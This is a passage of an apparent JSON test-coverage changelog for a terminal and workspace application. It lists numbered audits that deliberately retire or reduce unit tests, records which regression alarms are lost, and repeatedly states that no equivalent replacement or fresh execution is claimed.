src/renderer/src/components/terminal-pane/pty-connection-remote-pause-drop-notice.spec.ts reduced. Lose repeated quiet switches avoiding snapshots and legacy host without drop-report capability requesting a snapshot. Retained imported registrar uses fake transport/xterm writes, exercising real gap/restore lifecycle rather than actual terminal rendering. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1396: src/renderer/src/components/terminal-pane/terminal-parked-watcher-reconciliation.test.ts reduced. Retire standalone reconcile set output and positive untouchedFreshSpawn/workspaceOwner copying alarms; no native watcher execution claim. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Audit1402: src/renderer/src/components/terminal-pane/pty-connection-park-reveal-model-snapshot.spec.ts reduced. Loses basic paired serialize/initial replay forwarding check; hidden alt-frame grid/precedence policy remains. No real terminal renderer claim. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1412: src/main/runtime/mobile-session-tabs-agent-status-heartbeat.test.ts reduced. Loses FIFO fairness/spacing, semantic bypass/cancellation, delayed-boundary scheduling and teardown timer-cleanup alarms. Retained fixed emission cases do not replace those outcomes. No equivalent replacement coverage is claimed.",
+      "coverageNotes": "Audit3342 removes three supplied activation/inventory fallback and same-handle retry examples; their fallback/retry alarms are intentionally lost without equivalent replacement. The exact mounted-HUB pending old-stream-end versus replacement-snapshot registration and its assertion remain. Unrelated dated macOS receipts retain only their original scope; no fresh runtime, provider, performance, mobile, mixed-version or cross-platform validation is claimed. NEXT46 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-visibility-and-exit.test.ts, src/renderer/src/runtime/hosted-terminals/streams/remote-runtime-terminal-stall-recovery.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence. Historical prior account (preserved verbatim): Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: restarts only the stream whose renderer delivery credit never settles — An unreturned renderer delivery credit stalls only its stream, leaving healthy sibling/shared transport alive. Fake-clock deadline plus real multiplexer unsubscribe isolates recovery ownership.; probes then restarts a stream when an entered command receives no frames — Entered command produces no output; actual multiplexer must probe then close only its stalled stream after probe timeout. Distinct response liveness from parser credit.; establishes a probe baseline before recovering an unsequenced stream — 142-line manual five-probe baseline/regression sequence derives request IDs from encoded mock traffic and checks repeated no-close/close choreography. Oversized algorithm/state-machine example; no actual renderer/host command or recovery delivery. Retires unsequenced/unchanged/regressed baseline classification alarms.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit 3318 reduces remote-runtime-pty-transport-unpublished-host-graph.test.ts, retiring its direct published-empty-graph omission-to-pane-exit alarm. The unchanged bounded unpublished-frame/pushed-recovery and stale-handle park/manual-retry cases are narrower, not equivalent replacements. Both complete three-case Linux receipts dated 2026-11-04 are archived as historical, including source heads; they do not validate this reduced selector. Remaining fourteen active receipts are macOS only. No fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. The direct side-effect-facts selector retains six cases: replay exclusion, live sequence handling, stale disposer ownership, one handoff drain, drain-before-snapshot, and stale replacement-snapshot refusal. Successful current-entry snapshot application is not witnessed by the retained snapshot case. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2162: Reduced inventory-authority source intentionally loses the examples recorded in knownGaps; historical execution is not validation of changed bytes. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2003: Remove SSH/absent-inventory attach refusal, later-subscriber retry, no-view adoption/takeback, provider-tail/unknown-read projections, failed-keystroke retry and simpler loss reattach examples. Keep the existing-subscriber inventory-ready retry alias only at its retained callback, plus retained held-input cancellation/replacement and overlapping attach/loss fences. The inventory driver also loses the whole empty-worktree-publication registration and folder-host/unverifiable scalar examples. Retire the entire dated10-case attach receipt; retain16 independent receipts only in their original scopes. No retained-memory or real-daemon measurement follows from supplied provider inventories. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1991: Remove initial-snapshot sequence-domain, limited-tail/truncation and unknown-output-sequence aliases whose callbacks are removed. The source retains partial-chunk replay and requested-snapshot retry/admission at supplied snapshot/data seams, not equivalent replacement or measured retained-memory proof. Preserve the existing stream/pending-wait capacity aliases only to their retained owning multiplex callbacks with supplied PTY resolutions. Removing the sibling-PTY heartbeat dedup work-count sample does not establish a new decorative fanout budget; the unrelated-PTY cancellation fence survives. Preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Remove the reasonless-close selector and narrow census aliases to actual retained runtime and injected-inventory callbacks. The removed synthetic census-dedup and isolated pre-boundary timing cases receive no replacement credit; preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1939 (sources1934/1935): Delete the synthetic watcher-synchronization and partial-reconciliation suites. Retire all affected host-fact, capability-owner, activation-residue and retention-cap aliases because the remaining callbacks do not establish those full claims. Keep exact local hook/timer, byte-stream side effects, exit/disposal, scroll-intent cleanup and deterministic local rank/TTL progression callbacks within their mocked-host scope. No physical paired-host retention, resource budget or equivalent replacement evidence is assigned. The generic broad test command remains a runnable discovery command, never a dated execution receipt. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete the complete hook-agent-status projection suite and its two behavioral assertion aliases. Supplied stored hook/title/resume/staleness/rename/question/generation/PTY-retirement/snapshot-version projections are intentionally lost. The separate osc-status-scan gate mentions this source only in existing historical notes and receives no mutation. No measured hidden-output retention, CPU/RSS or resource budget result is claimed by the deleted source or this audit. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Module ownership cleanup retires the modeled cold-park private watcher/render/work-count suites under the current test policy. Their assertions are no longer active evidence. Retained lifecycle tests and headed/headless journeys do not establish equivalent coverage for those removed harness alarms. Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1634 removes low-value IPC, filesystem and runtime projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source 